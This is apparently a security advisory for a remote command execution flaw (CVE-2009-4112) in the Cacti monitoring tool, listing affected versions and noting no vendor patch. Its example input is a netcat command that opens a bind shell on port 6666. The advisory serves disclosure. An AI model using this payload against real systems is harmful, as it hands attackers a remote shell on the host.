Cacti 'Linux - Get Memory Usage' Remote Command Execution Vulnerability

Bugtraq ID:	37137
Class:	Input Validation Error
CVE:	CVE-2009-4112
Remote:	Yes
Local:	No
Published:	Nov 26 2009 12:00AM
Updated:	Jan 12 2010 04:32PM
Credit:	Moritz Naumann
Vulnerable:	S.u.S.E. openSUSE 11.0 Planet Technology WSW-2401 0.8.6 h Planet Technology WSW-2401 0.8.6 g Cacti Cacti 0.8.7 Cacti Cacti 0.8.6 f Cacti Cacti 0.8.6 c Cacti Cacti 0.8.5 a Cacti Cacti 0.8.5 Cacti Cacti 0.8.4 Cacti Cacti 0.8.3 a Cacti Cacti 0.8.3 Cacti Cacti 0.8.2 a Cacti Cacti 0.8.2 Cacti Cacti 0.8.1 Cacti Cacti 0.8 Cacti Cacti 0.8.7e Cacti Cacti 0.8.7d Cacti Cacti 0.8.7c Cacti Cacti 0.8.7b Cacti Cacti 0.8.7a Cacti Cacti 0.8.6k Cacti Cacti 0.8.6j Cacti Cacti 0.8.6i
Not Vulnerable:

Cacti 'Linux - Get Memory Usage' Remote Command Execution Vulnerability

Cacti is prone to a remote command-execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer.

Cacti 'Linux - Get Memory Usage' Remote Command Execution Vulnerability

An attacker can exploit this issue via a browser.

The following example input is available:

nohup nc -l -p 6666 -n -e /bin/sh &

Cacti 'Linux - Get Memory Usage' Remote Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Cacti 'Linux - Get Memory Usage' Remote Command Execution Vulnerability

References:

• Cacti 0.8.7e: Multiple security issues (Moritz Naumann)
  
• Cacti Homepage (Cacti)